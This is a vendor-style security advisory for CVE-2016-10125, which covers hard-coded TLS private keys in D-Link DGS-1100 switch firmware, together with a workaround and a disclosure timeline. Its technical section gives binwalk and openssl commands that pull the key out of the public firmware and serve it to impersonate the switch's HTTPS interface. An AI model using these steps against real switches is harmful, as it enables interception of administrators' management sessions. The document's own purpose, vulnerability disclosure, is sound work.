CVE-2016-10125 - DLink DGS-1100 switch static hard-coded TLS crypto keys in firmware

1. Vulnerability Properties

Title: DLink DGS-1100 switch static hard-coded TLS cryptographic keys in firmware
CVE ID: CVE-2016-10125
CVSSv3 Base Score: 7.8 (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)
Vendor: DLink (
Products: DGS-1100 Series Gigabit Smart Managed Switches, RevB (possibly others)
Advisory Release Date: 24 Aug 2016
Advisory URL:
Credits: Discovery by Bruno Morisson <bm[at]>

2. Vulnerability Summary

The DGS-1100 16 and 24 port switches (RevB) series firmware contains static, hardcoded cryptographic keys in the firmware. These keys, with the X.509 certificate, are used when HTTPS management is enabled on the switch.

An attacker can recover the private key from the public firmware, and use it perform a Man-In-The-Middle attack on the switch administrator, when he tries to manage the switch through HTTPS.

Since these keys are hardcoded, they cannot be changed.

3. Technical Details

Exploiting the vulnerability

To exploit this vulnerability, the attacker only needs to download the firmware, and extract the private key and the certificate:

$ binwalk DGS1100-fw_1.01.018.flash 

969166        0xEC9CE         Unix path: /../src/kernel/background.c
1238916       0x12E784        Certificate in DER format (x509 v3), header length: 4, sequence length: 685
1239608       0x12EA38        Private key in DER format (PKCS header length: 4, sequence length: 605

After extraction, check certificate:

$ openssl x509 -inform der -in 12E784.crt -noout -text
        Version: 3 (0x2)
        Serial Number: 123 (0x7b)
        Signature Algorithm: sha1WithRSAEncryption
        Issuer: CN=Sample Matrix RSA-1024 Certificate Authority, C=US, ST=WA, L=Seattle, O=INSIDE Secure Corporation, OU=Test
            Not Before: Jan  8 22:58:33 2013 GMT
            Not After : Jan  8 22:58:33 2016 GMT
        Subject: CN=Sample Matrix RSA-1024 Certificate, C=US, ST=WA, L=Seattle, O=INSIDE Secure Corporation, OU=Test
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
            RSA Public Key: (1024 bit)
                Modulus (1024 bit):
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Basic Constraints: critical
    Signature Algorithm: sha1WithRSAEncryption

Confirm this is the exact same certificate shown by the browser.

Check the extracted key:

$  openssl rsa -noout -modulus -in 12EA38.key -inform der



Run a webserver with this certificate and key:

$ openssl s_server -cert 12E784.crt -certform der -key 12EA38.key  -keyform der -accept 443 -HTTP -tls1

An attacker would now be able to perform a man in the middle attack with a correct certificate, even if the administrator had saved this certificate as "trusted".

4. Vulnerable Versions

  • Firmware 1.01.018 for Rev.B of the DGS-1100, possibly others.

5. Solution

No solution available. See “6. Workarounds”.

6. Workarounds

Ensure all accesses to the management interface of the switch are performed through a dedicated cable only.

7. Vulnerability Timeline

  • 29 March 2016 – Reported vulnerability to vendor
  • 31 March 2016 – Provided additional information to vendor;
  • 27 May 2016 – Emailed vendor requesting feedback;
  • 6 June 2016 – Vendor replied;
  • 15 June 2016 – Emailed vendor saying available firmware is still the same vulnerable one;
  • 29 June 2016 - Vendor sent pre-release version. We replied that we no longer have access to a device to assess if vulnerability is corrected;
  • 27 June 2016 – Feedback requested on possible update;
  • 24 Aug 2016 - No feedback received. Version available still vulnerable. Advisory released.


© 2024 INTEGRITY S.A. All rights reserved. | Cookie Policy

Cookie Consent X

Integrity S.A. uses cookies for analytical and more personalized information presentation purposes, based on your browsing habits and profile. For more detailed information, see our Cookie Policy.